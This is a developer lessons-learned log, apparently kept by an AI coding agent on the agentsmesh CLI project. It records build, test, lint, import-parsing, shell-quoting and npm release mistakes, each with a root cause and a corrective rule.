# Lessons Learned

- **Watch command tests must import through the harness even when mocking**: `pnpm lint` failed on `tests/unit/cli/command-handlers-watch-install.test.ts` because it imported `src/cli/commands/watch.js` directly. Root cause: I mocked the production module path but forgot the repo enforces watch-test access through `tests/harness/watch.js` for timeout and coverage discipline. Rule: in tests, import `runWatch` from `tests/harness/watch.js`; if mocking is needed, mock the production module path separately while keeping the test import on the harness.

- **Command handlers must return after unsupported JSON `process.exit` branches**: A focused `watch --json` handler test failed because mocked `process.exit(1)` let execution continue into `runWatch()`. Root cause: `cmdHandlers.watch` relied on real process termination and lacked the explicit `return` guard already used by `handleResult()`. Rule: whenever a command handler calls `process.exit()` in a branch that should stop dispatch, immediately `return` afterward so mocked exits and future refactors cannot fall through.

- **Do not add broad non-Markdown gates to link rebasing without checking supporting-file fixtures**: `pnpm test` failed in `generate-reference-rewrite-matrix.e2e.test.ts` after I skipped rewriting every non-Markdown generated artifact. Root cause: I inferred the contract from a narrow unit test, but the richer e2e matrix intentionally rewrites path references inside generated supporting files such as `template.ts` comments. Rule: before adding extension-level skip gates in `rewriteGeneratedReferences()`, inspect/run the reference-rewrite matrix; protecting executable string literals requires token/comment-aware logic, not a blanket non-Markdown output skip.

- **Social preview text must be visually checked after rasterization**: The first refreshed `og-image.png` rendered at the correct 1200x630 size but clipped the subtitle on the right. Root cause: the SVG text width was estimated by eye instead of verified in the final raster output. Rule: after changing Open Graph or logo raster assets, inspect the rendered PNG and keep all text comfortably inside the visible canvas.

- **Do not mix `require` with top-level `await` in inline Node render scripts**: A logo asset render command failed with `ERR_AMBIGUOUS_MODULE_SYNTAX` because the heredoc used CommonJS `require('sharp')` and top-level `await` together under Node 24. Root cause: Node could not infer whether the inline script was CommonJS or ESM. Rule: for inline Node scripts that use top-level `await`, use ESM `import` syntax; otherwise wrap CommonJS code in an async IIFE.

- **Projected agent skill fixtures must use the real `x-agentsmesh-*` contract**: A Gemini branch-coverage test failed because it used a non-existent `x-projected-agent: true` flag and expected the importer to treat it as a projected agent. Root cause: the fixture invented metadata instead of matching `serializeProjectedAgentSkill()` output (`x-agentsmesh-kind: agent` plus `x-agentsmesh-name` or an `am-agent-*` directory). Rule: when testing projected agent import paths, build fixtures from the documented/generated `x-agentsmesh-*` frontmatter shape and assert the exact canonical `.agentsmesh/agents/<name>.md` destination.

- **Do not enumerate supported targets on overview pages**: The homepage still listed every currently supported built-in tool after the user pointed out the list is growing. Root cause: I kept a marketing confidence signal as a hardcoded target enumeration instead of linking to the generated support matrix, which is the documented source of truth. Rule: on the homepage, CLI overview, and other broad overview pages, use generic coverage language and link to `reference/supported-tools`; only the support matrix should enumerate per-target support.

- **Do not put escaped newlines in plain `rg` regex patterns**: A structural check used `rg -n "hero:\n|tagline:"`, and ripgrep failed because newline matching requires multiline mode. Root cause: I mixed a multiline regex into a normal `rg` search while doing quick verification. Rule: split structural searches into separate literal patterns, or use `rg -U` only when a true multiline match is required.

- **Starlight hero action icons must be schema-valid, not just valid card icons**: `pnpm --dir website build` failed after I used `icon: sync` in a homepage hero action even though `sync` works in Starlight cards. Root cause: I assumed card icon names and hero action icon schema accept the same values. Rule: for Starlight `hero.actions[*].icon`, reuse icons already proven in hero actions or omit the icon, then run the website build before considering homepage metadata changes complete.

- **Do not trust auxiliary review scripts until they execute cleanly**: The code-review skill's `code_quality_checker.py` could not run in this environment (`python` was unavailable, and `python3` hit a syntax error in the helper script), so it produced no usable architecture evidence. Root cause: I treated an external helper as a reliable scanner before proving the local runtime and script were healthy. Rule: run repo-native gates first, and when auxiliary tooling fails before analysis, fall back to direct `rg`/test/build evidence and report the helper failure separately.

- **Full-suite watch failures need readiness synchronization before edits**: `pnpm test` repeatedly failed in `tests/unit/cli/commands/watch.test.ts` waiting for `runMatrix`, while the same file passed immediately in isolation. Root cause: under full-suite scheduler load, the test wrote the new rule before the watcher was reliably past its initial generation/readiness phase. Rule: watch tests that mutate files after `runWatch()` must first wait for an initial generated artifact or log signal, then perform the edit and wait for the expected reaction.

- **Every third-party importer entry point needs lenient frontmatter parsing**: `agentsmesh install github:christianestay/claude-code-base-project` aborted with a YAML "Nested mappings are not allowed in compact mappings" error before any skill was staged. Root cause: `src/targets/claude-code/importer-skills.ts` parsed `SKILL.md` via strict `parseFrontmatter()` while every other install importer already used `tryParseFrontmatter()`/`parseFrontmatterForPath()` plus a skip-and-warn fallback. One unquoted scalar with an embedded colon (`argument-hint: ej. feat: add auth`) was enough to bring down the install for the whole repo. Rule: any function that parses third-party YAML frontmatter during install/import — whether the file is a `SKILL.md`, command, agent, rule, or any other entity — must use the lenient path and emit a "skipping <path>: <reason>" line; reserve strict parsing for user-authored canonical content. When auditing parsers, grep both `parseFrontmatter` *and* every per-target importer (e.g. `src/targets/<id>/importer*.ts`) before declaring the lesson applied.

- **Treat empty-string CLI flags as "not provided" at the install-flags boundary**: `agentsmesh install github:PatrickJS/awesome-cursorrules` failed with a top-level ZodError listing every TARGET_ID. Root cause: the picker auto-pick recursion in `run-install-locked.ts` builds nested-call flag bags with `target: target.target ?? ''`. When `inferMdcTarget()` could not detect cursor/windsurf (no `alwaysApply`/`trigger` keys in the first .mdc), `target.target` was undefined, the `?? ''` produced an empty string, and `readInstallFlags` returned `explicitTarget = ''` (truthy enough for `typeof string` checks). That empty string flowed through `resolveManualDiscoveredForInstall` into `prep.yamlTarget`, then `installAsPack` called `targetSchema.parse('')` and threw. Rule: normalize empty strings to `undefined` for `path` / `target` / `as` inside `readInstallFlags`; the rest of the install pipeline assumes "undefined OR a non-empty value", and recursive call sites legitimately default to `''`.

- **MDC/third-party frontmatter must use lenient YAML parsing**: `inferMdcTarget()` and `normalizeMdcToCanonical()` crashed on `globs: **/*` because `*/*` is a YAML alias. Root cause: both functions used strict `parseFrontmatter()` which throws on invalid YAML, but real .mdc files in the wild (PatrickJS/awesome-cursorrules) contain YAML values that are valid in Cursor but strict-invalid. Rule: any code path that parses third-party/imported frontmatter must use `tryParseFrontmatter()` or equivalent lenient parsing; only user-authored canonical content should use strict parsing.

- **Marketplace sub-pack recursive installs must not force `--as`**: The `--all` marketplace flag silently failed because the recursive call passed `as: target.as` (the primary feature from layout detection), forcing the manual install path which rejects mixed-content sub-packs. Root cause: `targetFromSubPack` sets `as` to the first detected feature, but sub-packs with skills+agents can't be installed via the manual single-kind path. Rule: marketplace recursive installs should omit `--as` and let normal discovery handle the sub-pack structure; only pass `--path` and `--target`.

- **Managed generated blocks must update fixture helpers that mimic generated output**: The full suite failed in `diff.test.ts` because the fixture still manually rewrote `rules/_root.md` inside the generated root contract after the contract became a protected no-rewrite block. Root cause: I updated generation and reference rewriting tests but missed a command test that synthesizes expected generated content with an old post-processing replacement. Rule: whenever generated managed-block rewrite behavior changes, search for tests that call the appender/renderer and then mutate its output, and update those fixtures before rerunning the full suite.
- **Do not use `status` as a zsh shell variable in cleanup wrappers**: An isolated global generate check passed, but the cleanup script assigned to `status`, which is read-only in zsh, so the wrapper exited before removing the temp home. Root cause: I used a common bash variable name without accounting for the active zsh shell. Rule: use neutral names like `rc` for captured exit codes in shell cleanup snippets, and verify cleanup ran when sandbox commands fail after the main operation.
- **Discarded shared outputs must not donate their drift status to the kept artifact**: `generate --check` reported Codex `AGENTS.md` as updated even though the file content matched Codex, because collision resolution kept the Codex content but merged in the discarded Windsurf result's `updated` status. Root cause: duplicate-result metadata merging was reused for conflicting AGENTS.md superset cases where only one content body is actually written. Rule: when resolving conflicting shared artifacts by choosing a preferred/richer content body, keep that chosen result's status/currentContent; only merge statuses for truly identical content.
- **Reference-style Markdown definitions are link destinations, not prose anchors**: The full suite still expected `[ref]: .agentsmesh/...` definitions to preserve canonical `.agentsmesh` paths after the generate-level demo test proved those definitions become broken generated links. Root cause: older tests classified reference definitions as reading context even though Markdown parsers and generated-link validation treat the URL portion as a clickable destination. Rule: whenever link rebasing logic handles inline Markdown destinations, include reference-style definitions (plain, titled, and angle-bracketed) in the same destination-relative contract and update edge-case tests accordingly.
- **Do not put JavaScript template literals inside double-quoted shell commands**: While writing a temporary global-mode `agentsmesh.yaml`, I used a JS template literal in a double-quoted `node -e` command, so zsh tried to execute YAML lines like `version:` before Node ran. Root cause: I forgot the existing backtick shell-expansion lesson applies to inline JavaScript too, not just `rg` patterns. Rule: for `node -e` snippets that need multiline strings, use single-quoted shell strings plus JS string arrays joined with `\\n`, or write a checked-in/temp file through a safer script path.
- **Shared generated skill artifacts cannot contain target-specific rewritten probes**: The link-rebase demo skill initially included target-native prose paths such as `.codex`/`.agents`/`.gemini` examples, and all-target generation failed because Codex and Antigravity both emit `.agents/skills/link-rebase-edge-cases/SKILL.md` with different rewritten content. Root cause: I put target-specific rewrite probes inside canonical content that must collapse to one shared artifact across multiple targets. Rule: when a canonical skill is generated into shared artifact paths, keep target-native rewrite probes in protected fenced blocks or isolate them in target-filtered fixtures, otherwise shared-output collision checks will correctly reject the generation.
- **Demo markdown links must resolve after generation, not only from canonical source**: The link-rebase demo skill initially used markdown links from a canonical skill to repo-root `README.md`/`package.json`; generation rewrote one to `README.md`, and generated-link validation failed from every target skill folder. Root cause: I mixed exploratory project-root examples with clickable markdown links that must validate from generated artifact locations. Rule: in demo fixtures that are generated across targets, keep uncertain project-root examples as inline/prose paths or add explicit expected supporting files; only use markdown destinations for links known to resolve after rebasing in every generated target.
- **Full-suite failures in dirty worktrees need attribution before patching**: `pnpm test` failed in `tests/unit/core/engine.test.ts` while verifying a link-rebaser fix, but the failures came from a pre-existing dirty change in `src/targets/projection/root-instruction-paragraph.ts` that removed the `rules/_root.md` token expected by decoration tests. Root cause: broad verification ran in a worktree with unrelated modified files in nearby generation code. Rule: when a full-suite failure appears after a scoped fix, inspect `git diff` for the failing subsystem first, attribute the failure to touched vs pre-existing changes, and avoid reverting unrelated user edits without explicit approval.
- **Do not embed backticked literals in double-quoted `rg` commands**: A search for global `.agentsmesh` expectations used a double-quoted shell pattern containing backticks, so zsh tried to execute `.agentsmesh` before `rg` ran. Root cause: I repeated a known shell quoting mistake while broadening test expectation searches. Rule: for `rg` patterns containing backticks or shell metacharacters, always use single quotes with `-F`, or split the search into simpler literal patterns.
- **Resolver fallback changes must remove obsolete guard variables**: The global link fix made relative project-root fallback unconditional, but left the old `relativeToRoot` guard variable behind, causing lint and typecheck failures. Root cause: I changed the condition without sweeping the now-dead calculation. Rule: after simplifying a branch condition, immediately remove variables that only fed the old condition and rerun lint/typecheck before broader verification.
- **Refactor destructuring must preserve const narrowing for lint**: After extracting link resolution into a helper, lint failed because the destructured `translatedPath` and `matchedPath` bindings were left as `let` even though only `resolvedBeforeTranslate` needed later reassignment. Root cause: I converted several former mutable locals into one destructuring assignment without splitting mutable and immutable bindings. Rule: after extracting a helper that returns multiple values, destructure immutable returns as `const` and create a separate `let` only for the specific value that is reassigned, then rerun `pnpm lint`.
- **Global link-rewrite tests must separate prose anchors from markdown destinations**: The global-mode alignment initially left stale tests asserting that `.agentsmesh/` should disappear from every generated artifact, which conflicted with the link-rebaser readability contract and caused broad expectation failures. Root cause: the test suite treated reading-context tokens and clickable markdown destinations as the same kind of output. Rule: when changing link formatter semantics, update generate, import, round-trip, and matrix tests by token role: preserve well-known anchors in prose/labels/quoted text, but require destination-relative paths inside markdown link destinations.
- **Strict lint gates apply to touched null checks and dirty nearby tests**: The first link-rebaser alignment pass used `!= null` in new code and left unrelated unused imports in a dirty test file, so `pnpm lint` failed after targeted behavior tests were green. Root cause: I relied on idiomatic nullish shorthand and did not run lint before moving to broader verification. Rule: when editing TypeScript in this repo, use explicit strict null comparisons (`!== null` / `!== undefined`) and rerun `pnpm lint` immediately after targeted tests, fixing any gate-blocking dirty-file imports without reverting unrelated edits.
- **Markdown relative-link contract changes must update import e2e expectations too**: After forcing markdown destinations to keep explicit relative paths, unit tests were green but `import-reference-rewrite.e2e.test.ts` still expected Gemini imported markdown to remain symmetric as `[GEMINI.md](GEMINI.md)`. Root cause: I updated core/reference unit assertions but missed the dist-backed import expectation that observes the same markdown-link contract after target import. Rule: whenever markdown destination formatting changes, rerun and update both generate and import reference-rewrite e2e suites, including target-specific root-file aliases like Gemini `GEMINI.md`.
- **Full-suite e2e CLI timeouts need headroom beyond targeted runs**: The codex full-sync import passed when reproduced directly but failed inside `pnpm test` at the shared `runCli` 30s timeout. Root cause: full-suite parallel load can push otherwise-valid dist-backed CLI flows past the helper's narrow timeout budget. Rule: keep e2e CLI helper timeouts high enough for full-suite pressure, and reproduce timeout-looking failures both targeted and under the full runner before treating them as product behavior failures.

- **Quote `rg` patterns with literal backticks safely**: I searched for a lesson containing `` `pnpm build` `` inside a double-quoted shell string, so zsh treated the backticks as command substitution and ran `pnpm build` before `rg` failed with a regex parse error. Root cause: shell metacharacters in search patterns were not isolated from shell expansion. Rule: when searching for text that contains backticks, `$`, or other shell metacharacters, wrap the pattern in single quotes or use `rg -F -- 'literal text'`.

- **Do not run `pnpm build` concurrently with dist-backed e2e tests**: A delegated targeted test run rebuilt the package while the local e2e suite was spawning `dist/cli.js`, causing noisy `ENOENT` / `MODULE_NOT_FOUND` failures even though the CLI build itself was fine. Root cause: `tsup` cleans `dist` at build start, and concurrent e2e workers can hit that gap. Rule: before running tests that execute `dist/cli.js`, ensure no subagent or local shell is running `pnpm build`; build once, then run dist-backed tests without overlapping rebuilds.

- **Importer workaround bridges must preserve supporting files, not just primary files**: I strengthened Windsurf global e2e coverage to assert skill supporting files, but the first run failed because the known global-import workaround copied only `SKILL.md` into the project-style importer path. Root cause: the workaround mirrored the old minimal fixture instead of the full generated skill tree. Rule: when a test bridges generated global files into an importer fallback path, copy the exact generated tree needed for round-trip assertions, including `references/`, `scripts/`, `templates/`, and `assets/`.

- **Regex capture groups need explicit undefined guards under strict indexed access**: `pnpm typecheck` failed in `parseMarkdownLinkDestination()` because `RegExpExecArray[1]` was treated as possibly undefined even after checking that the regex matched. Root cause: the implementation relied on regex structure instead of narrowing the captured group value itself. Rule: when reading regex capture groups in strict TypeScript, guard the specific capture (`match?.[1] !== undefined`) before calling string methods, then rerun `pnpm typecheck`.

- **Generated Markdown root mirrors must be in the output-source map, not just decoration paths**: `.cursor/AGENTS.md` still leaked `.agentsmesh/skills/post-feature-qa/` after the shared link-rebaser consolidation because the source map only associated Cursor's root rule with `AGENTS.md`, not the additional `.cursor/AGENTS.md` mirror. Root cause: decoration paths were treated as render-only metadata instead of generated artifacts that need reference rewriting. Rule: whenever a layout declares `additionalRootDecorationPaths`, add those paths to generate-side source maps and test at least one nested Markdown mirror for canonical link cleanup.

- **Nested generated Markdown links need explicit current-directory prefixes**: `.cursor/AGENTS.md` was corrected from `.agentsmesh/skills/post-feature-qa/` to `skills/post-feature-qa/`, but the user expected the verified path from `.cursor/AGENTS.md` itself: `./skills/post-feature-qa/`. Root cause: `formatLinkPathForDestination()` stripped leading `./`, and the regression only asserted "not canonical" instead of the exact target-relative spelling. Rule: for generated Markdown inside a target folder, preserve/add `./` for same-directory descendant links and assert the exact rendered path in tests.

- **Global-mode e2e expectations must derive from target descriptors, not historical path helpers**: While consolidating link/path rebasing, the global path e2e suite failed on paths like Windsurf `workflows`, Gemini `workflows`, Roo `.roo-code`, and Codex `config.toml` even though production generation now uses target descriptor layouts. Root cause: the e2e expectations had drifted from descriptor constants and from the shared rewriter's protected URI behavior. Rule: when retiring path-rewrite helpers or changing global-mode tests, update e2e assertions from the target descriptor/constants and rerun them with the e2e Vitest config after `pnpm build`.

- **Global mode requires `rewriteGeneratedPath` in the target layout to transform project paths to global paths**: When implementing Copilot global mode, I initially only added the `global` layout with paths but forgot to add `rewriteGeneratedPath` to transform `.github/` paths to `.copilot/` paths. Root cause: I assumed the path resolvers in the layout would be sufficient, but the engine uses `rewriteGeneratedPath` to transform generator output paths before writing. Rule: when implementing global mode for a target, always add `rewriteGeneratedPath` to the global layout to transform project-level paths to global paths, and test that files are generated in the correct location.
- **Create new reusable skills in `.agentsmesh/skills`, not `.agents/skills`**: I initially added the global-mode target skill under `.agents/skills`, which bypassed the repo's canonical source-of-truth model for skills. Root cause: I followed the local runtime-visible skill tree instead of the project rule that `.agentsmesh/` owns editable canonical content and generated surfaces are artifacts. Rule: when adding or updating repo-owned skills in this codebase, create them under `.agentsmesh/skills/...` first and only rely on generation to project them into target-specific artifact folders.
- **Do not invent extra files inside canonical skill directories unless the canonical skill spec supports them**: I added `agents/openai.yaml` under a canonical skill even though the documented `.agentsmesh/skills` contract only supports `SKILL.md` plus supporting files. Root cause: I copied a pattern from existing repo content without checking it against the published canonical-config spec for skills. Rule: before adding a new file shape under `.agentsmesh/skills/<name>/`, verify it is part of the documented canonical format; otherwise keep the skill to `SKILL.md` and ordinary supporting files only.
- **Canonical loader refactors must preserve the project-root entrypoint contract**: I changed `loadCanonicalFiles()` to accept only a canonical-directory path, which immediately broke extend loading, install flows, and the loader test suite because much of the repo still passes project roots and expects the function to locate `.agentsmesh/` itself. Root cause: I optimized for the new global-scope path without preserving the existing public helper contract or sweeping every caller first. Rule: when making canonical path-loading scope-aware in this repo, keep loader helpers backward-compatible with both project-root and canonical-dir inputs until every caller is explicitly migrated and covered.

- **Watch unit timing budgets may need another bump after test-runner upgrades, even when isolated runs stay green**: After upgrading Vitest from `4.0.18` to `4.1.4`, the full `pnpm test` suite started flaking in `tests/unit/cli/commands/watch.test.ts` even though the same file still passed in isolation, because the heavier full-run scheduler pushed a `runMatrix` assertion past the existing 8000 ms wait budget. Root cause: I treated the previously hardened timeout as stable across runner upgrades without revalidating the full-suite latency envelope. Rule: when test-runner or watcher-adjacent dependencies change, rerun the full suite and increase watch-unit `vi.waitFor` budgets again if needed; isolated green runs are not enough.

- **Do not batch runtime packages into a `pnpm add -D` upgrade command**: While upgrading vulnerable dependencies, I included runtime packages (`diff`, `tar`) in the dev-dependency update command and silently moved them into `devDependencies`. Root cause: I optimized for fewer commands instead of preserving the runtime/dev boundary package by package. Rule: when upgrading mixed dependency types, run separate install commands for `dependencies` and `devDependencies`, then re-open `package.json` before considering the update pass correct.

- **Prefer a runner/toolchain that already satisfies npm trusted-publishing requirements over self-upgrading npm in CI**: The release workflow failed on `npm install -g npm@latest` on `ubuntu-latest` with `Cannot find module 'promise-retry'` inside npm's own arborist dependency tree before the publish step even ran. Root cause: I treated npm self-upgrade as the default fix for trusted publishing instead of checking npm's documented minimums and selecting a runner that already bundles a compatible npm. Rule: for npm trusted publishing, first choose a GitHub-hosted Node version whose bundled npm already satisfies the current docs (for example Node 24 in the current npm examples); only add an explicit npm install when a specific known-good version is required and the runner cannot supply it directly.

- **`execSync` shell must exist on Linux CI**: A lint integration test passed `shell: '/bin/zsh'` to merge stderr; GitHub Actions `ubuntu-latest` has no `/bin/zsh` → `spawnSync /bin/zsh ENOENT`. Root cause: macOS dev shells were assumed for all runners. Rule: for shell features like `2>&1` in integration tests, use `/bin/sh` (or omit `shell` and avoid shell-only syntax), never hardcode zsh-only paths unless the job installs zsh.
- **When test fixtures grow required manifest fields, update callback expectations in the same pass**: I added `source_kind` and `features` to `InstallManifestEntry` fixtures in `tests/unit/install/install-sync.test.ts`, which made standalone TypeScript clean, but the full Vitest run still failed because the `reinstall` assertions were still expecting the old `{ name, source }` payload. Root cause: I repaired the typed fixture shape without sweeping downstream expectations that compare the same object at runtime. Rule: whenever a test helper or fixture type gains required fields, update all `toHaveBeenCalledWith` / deep-equality assertions that observe that payload before calling the pass complete.
- **Repo typecheck that excludes tests must be supplemented when touching typed test fixtures**: A user still saw `TS2741` in `tests/unit/canonical/extend-load.test.ts` even though `pnpm typecheck` was green, because `tsconfig.json` excludes `**/*.test.ts` and the failing `ResolvedExtend` fixture only existed in a test file. Root cause: I relied on the repo typecheck gate without checking whether the touched file was inside the compiler include set. Rule: whenever a fix touches typed test files in this repo, run a standalone `tsc --noEmit ... <test-file>` (or an equivalent test-aware TS config) on the affected tests, especially for editor-reported TS errors.
- **If ESLint rules target tests, the lint script must target tests too**: Warning cleanup surfaced unused vars and return-type warnings in `tests/` even though `pnpm lint` was green, because the script only ran `eslint src/` while `eslint.config.js` defined rules for `tests/**/*.ts` as well. Root cause: lint command scope drifted from the configured file scope, so test warnings accumulated outside the default verification path. Rule: whenever ESLint config includes `tests/**` or other first-class source trees, keep the `lint` script aligned with those paths and ignore only generated artifacts explicitly.
- **Target-native filename corrections still need legacy import aliases when users may already have the old file**: After switching Cline to the corrected generated filename `cline_mcp_settings.json`, the importer stopped reading historical `.cline/mcp_settings.json` files and the Cline import e2e lost canonical MCP output. Root cause: I treated the filename correction as a full replacement across all read paths instead of separating generation/stale-cleanup contracts from backward-compatible import support. Rule: when a target-native filename changes, update generation and docs to the new path, but keep importer fallbacks for the previous on-disk filename unless the migration is explicitly destructive.
- **Watch tests need per-test temp roots under coverage load**: The full coverage run started flaking in `tests/unit/cli/commands/watch.test.ts` even though the watch logic was fine, because every case reused the same temp project path and chokidar state could bleed across teardown/recreate cycles. Root cause: the test fixture optimized for convenience by keeping one shared temp directory, which is unstable for file watchers when coverage slows timing and event cleanup. Rule: any watcher test in this repo must create a fresh temp project directory per test case and not reuse a prior watched path after teardown.
- **Path-preserving import refactors must update native install scope derivation and relative-path filters together**: After preserving nested canonical import paths, native install scope still derived command picks from `basename(...)` and the Cline rule mapper still looked for `"/workflows/"`, which broke Gemini namespaced command picks and caused Cline workflows to be double-counted as rules. Root cause: I updated canonical output paths without sweeping downstream code that still assumed flattened names or absolute-style path fragments. Rule: whenever imported canonical paths change shape, audit install-scope pick derivation and every relative-path classifier for basename/leading-slash assumptions, then rerun the native install scope suites.
- **Async importer serializer changes must update every `importFileDirectory` mapper to await them**: I switched Copilot prompt import to an async placeholder serializer but left the mapper callback synchronous, which wrote a `Promise` into `writeFileAtomic` and broke the importer suite. Root cause: I changed a shared helper contract without sweeping all mapper call sites that feed `importFileDirectory`. Rule: whenever an import path starts using an async serializer, make the mapper callback `async`, await the serializer result, and rerun the touched target importer suite plus `pnpm lint`/`pnpm typecheck` before broader verification.
- **New repo docs must not be authored under an ignored path without first narrowing the ignore rule**: I created the architecture documentation set and only afterward verified git visibility, which meant the files existed on disk but were still excluded by the root `/docs` ignore policy. Root cause: I treated the presence of existing tracked docs as evidence that new docs would also be trackable and skipped `git check-ignore` up front. Rule: before adding any new documentation tree in this repo, inspect `.gitignore` and run `git check-ignore -v` on a representative target path so the docs land in a trackable location or the ignore rules are narrowed intentionally.
- **Watcher startup must await chokidar readiness before doing the initial generate**: After reorganizing `install/` and `canonical/`, the full suite still showed flaky `watch` behavior even though the isolated watch suite passed, because `runWatch()` kicked off its startup generate before chokidar finished establishing watches. Root cause: startup lock churn and the first real edit could race watcher readiness under full-suite load, producing missed rule-add events and stray self-triggered regenerations. Rule: when a watch command performs an initial reconciliation/generate, wait for the watcher `ready` event first, then run the initial generate, and recheck both the isolated watch suite and full `pnpm test`.
- **Watch-mode ignore filters must account for parent directory events, not only specific generated files**: After splitting `src/core` into subfolders, the full suite still showed flaky `watch` behavior even though the targeted watch test passed in isolation, because lock writes could surface as `.agentsmesh` directory events under heavier suite load. Root cause: the ignore helper filtered `.agentsmesh/.lock` and `.agentsmesh/.lock.tmp` but not the parent directory metadata event emitted by the watcher. Rule: whenever watch mode suppresses self-generated file churn, ignore both the exact generated files and the canonical parent directory event, then validate with the isolated watch suite and the full `pnpm test` run.
- **Metadata consolidation needs immediate lint/typecheck gates before broader verification**: I centralized built-in target metadata and rewired registry/catalog lookups, but the first pass left stale skill-dir imports and widened map key types that only surfaced in `pnpm lint` and `pnpm typecheck`. Root cause: I changed the source-of-truth layer first and relied on targeted behavior tests before re-running static analysis on the touched plumbing. Rule: after any cross-cutting metadata refactor, run lint and typecheck immediately after the first green targeted tests, and type shared lookup maps (`Map<string, ...>` or narrow helper returns) so string-key lookups do not drift into widened unions.
- **Generated root decoration must avoid the `.agentsmesh/` substring when e2e asserts clean target prose**: The reference-rewrite matrix strips fenced code blocks then requires generated root files not to contain `.agentsmesh/`; the appended AgentsMesh contract used inline `` `.agentsmesh/` ``, which always failed that guard. Root cause: decoration text was written as a path literal without considering the strict “no canonical path token in target output” contract. Rule: when appending global instructions to generated targets, phrase canonical location without the exact `.agentsmesh/` substring (e.g. “the `.agentsmesh` directory at the project root”), keep legacy paragraph detection for upgrades, and strip both old and new contract blocks on import.
- **Centralized target metadata needs direct engine assertions, not only generator coverage**: I moved root-instruction decoration into engine metadata but initially sourced Cursor's primary path from a file with no exported constant, which only surfaced as a build warning and a stale unchanged-status expectation. Root cause: generator tests still passed because they no longer owned decoration, and there was no explicit engine assertion proving Cursor's registered primary root file was the one being decorated. Rule: whenever behavior moves from target generators into engine/registry metadata, add engine-level tests for each representative target path (especially compatibility targets like Cursor) and rerun build warnings as part of the refactor gate.
- **Canonical `.agentsmesh/` content must be edited before generated target artifacts**: I updated `.agents/skills/...` and `.github/skills/...` directly when fixing the release skill, and only afterward was reminded that `.agentsmesh/` is the source of truth. Root cause: I treated generated target files as primary because they were the visible diff, instead of tracing the change back to canonical source first. Rule: when a skill/rule/command/agent exists under `.agentsmesh/`, make the edit there first and regenerate affected targets rather than hand-editing `.agents/`, `.github/`, or other generated trees.
- **Trusted publishing must stay on the tested Changesets contract with a current npm CLI**: Release automation failed with `npm error code E404` during GitHub Actions trusted publishing while the repo still used a raw `npm publish` release script and the publish workflow never upgraded npm on the runner. Root cause: the release path drifted away from the repo's intended Changesets/OIDC flow and from current npm trusted-publishing guidance. Rule: keep `package.json` on `pnpm build && changeset publish`, set explicit public publish metadata (`publishConfig`, canonical `repository.url`), and upgrade npm in the publish workflow before the changesets publish step.
- **`pnpm link --global` needs `PNPM_HOME` in that shell**: It fails with `ERR_PNPM_NO_GLOBAL_BIN_DIR` when the process environment does not define `PNPM_HOME` (and global-bin-dir), which happens in some IDE-integrated terminals that skip full shell init even if `~/.zshrc` is correct for interactive use. Root cause: pnpm only knows where to place global shims when that variable is set. Rule: document or script a no-link dev path (`pnpm build` then `pnpm ab -- <args>` / `node dist/cli.js`); for global link, run `pnpm link --global` from a terminal where `echo $PNPM_HOME` is non-empty (e.g. `source ~/.zshrc` first).
- **Manual single-item installs should persist collection scope plus pick, not file scope alone**: I initially persisted manual single-file installs at the file path itself, which meant a later sibling install from the same source folder could neither match the existing pack nor merge the manifest subset cleanly. Root cause: the persistence identity for `install --as ... <single file>` was derived from the discovered file path instead of the parent collection plus selected item name. Rule: whenever a manual install targets one file or one skill from a broader collection, persist the parent collection path and explicit `pick` so later installs from the same collection can amend the same pack and installs entry.
- **Single-file remote installs need blob URL parsing, not just tree URL parsing**: I previously fixed sync replay and assumed single-file remote installs were covered, but GitHub `blob/...` URLs still fell through to local-path parsing and failed with `Path does not exist`. Root cause: the install parser only recognized `tree` repository URLs and pinned remote ids, not file-oriented `blob` URLs. Rule: whenever install supports single-file remote inputs, parser coverage must include both directory-style `tree` URLs and file-style `blob` URLs for each supported host.
- **Sync replays must restore the saved install scope, not just the saved source path**: I fixed `install --sync` to replay the caller’s validation flags, but it still reinstalled every item under the saved folder because the replay path ignored `installs.yaml` `pick`/`features` metadata. Root cause: sync reused normal discovery and rebuilt selection from the broad path instead of reapplying the persisted manifest scope. Rule: whenever install replay persists `features` or `pick`, sync must reapply that saved scope before validation, selection, and manifest rewrite so restored packs match the original install exactly.
- **Sync replays must preserve install validation semantics unless the user explicitly forces them**: I initially implemented `install --sync` by replaying every saved install with `force: true`, which silently bypassed the invalid-item prompts and conflict checks users get on a normal install. Root cause: I treated sync as a recovery shortcut instead of a batch replay of the same install contract. Rule: when replaying persisted installs, carry through the caller’s `--force` and related validation flags rather than hardcoding a more permissive mode.
- **Install sync must replay persisted remote source formats, not just user-entered URLs**: I added `.agentsmesh/installs.yaml` replay but initially forgot that successful remote installs persist pinned sources like `github:org/repo@sha`, not the original `https://.../tree/...` URL. Root cause: sync reused the normal install parser, while the parser only understood user-facing URL/SSH/local forms and treated pinned manifest sources as local paths. Rule: whenever a workflow persists internal source identifiers for replay, the replay parser must explicitly support those stored formats and be covered by a regression test that uses the persisted value verbatim.
- **Install needs an explicit manual collection mode in addition to native-path inference**: I initially treated installability as something that could always be inferred from the source path shape, which failed on repos that store compatible agent content in arbitrary folders like `agents/universal`. Root cause: install discovery was coupled too tightly to target-native directory heuristics instead of the user’s explicit intent. Rule: when a user specifies what kind of collection they want to install, provide an explicit override (`--as`) that bypasses path heuristics while keeping native auto-detection as the fallback.
- **Pack coverage must include settings features, not just array resources**: I initially focused pack install verification on skills/rules/commands/agents and missed that materialized packs were silently dropping canonical `mcp`, `permissions`, `hooks`, and `ignore` during write/load/merge. Root cause: the earlier tests only asserted array-resource behavior and dry-run previews, so the pack persistence contract for settings never ran through a real install. Rule: whenever install materializes canonical data, add tests that verify every supported canonical feature survives write → load → generate, including settings files and a real non-dry-run command path.
- **Native install discovery must be staged and importer-driven**: I initially let `install` write `.agentsmesh/` into the source repo during native discovery and still depended on native folder heuristics for subtree selection. Root cause: I reused the extend/import normalization path directly instead of treating install discovery as a read-only staging step. Rule: whenever `install` needs to understand a native agent structure, import into a temporary staged copy and derive folder/file scope from importer `fromPath` results rather than mutating or heuristically traversing the source checkout.
- **Incremental pack updates must match remote source identity, not the pinned ref**: Pack reinstall logic failed to find an existing remote pack once the upstream repo resolved to a new SHA because the lookup compared the full pinned `source` string (`github:org/repo@sha`). Root cause: install metadata stores the latest pinned provenance, but incremental-update detection needs a stable repo identity across versions. Rule: when materialized installs track pinned remote provenance, match existing packs by stable remote identity (provider + repo/url without ref) and refresh the stored `source`/`version` metadata after each successful merge.
